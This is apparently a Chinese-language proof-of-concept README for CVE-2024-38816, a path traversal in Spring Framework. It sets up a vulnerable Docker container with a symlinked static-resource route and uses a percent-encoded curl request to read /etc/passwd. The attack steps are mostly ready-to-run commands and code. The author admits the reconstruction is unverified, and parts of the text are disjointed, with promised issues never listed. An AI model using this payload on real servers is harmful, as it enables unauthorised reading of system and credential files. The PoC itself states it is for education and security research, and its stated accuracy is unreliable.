这是针对 CVE-2024-38816 漏洞的概念验证,演示了一个路径遍历利用。
构建 Docker 镜像:(Spring Boot 3.0.13,基于 Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
运行容器并将端口 8080 暴露给宿主机:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
执行以下命令运行 PoC 并确认漏洞:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果显示 /etc/passwd 文件的内容,则漏洞确认存在。
本 PoC 基于对发布说明和提交日志的分析创建。实际漏洞的行为可能有所不同,因此不保证准确性。使用风险自负。
该漏洞已在 Spring Framework 6.1.13 中修复,相关发布说明已确认。
查看发布说明和相关提交日志后,我确定以下两个问题可能与此漏洞相关:
根据安全公告,攻击成功可能需要满足以下条件:
RouterFunctionsFileSystemResource使用 Docker 环境复现漏洞。
使用以下代码创建 PathTraversalDemoApplication.java,通过 RouterFunction 和 FileSystemResource 设置静态文件路由:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
在 Dockerfile 中添加以下命令以创建符号链接:
RUN ln -s /static /app/static/link
构造一个利用百分号编码通过符号链接进行目录遍历的载荷。
/static/link/%2e%2e/etc/passwd使用以下 curl 命令执行 PoC 并验证攻击是否成功:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,将显示 /etc/passwd 文件的内容。
本 PoC 仅供教育和安全研究使用。在实际系统上使用前,请确保漏洞已修复并拥有适当授权。作者不对任何滥用此代码的行为负责。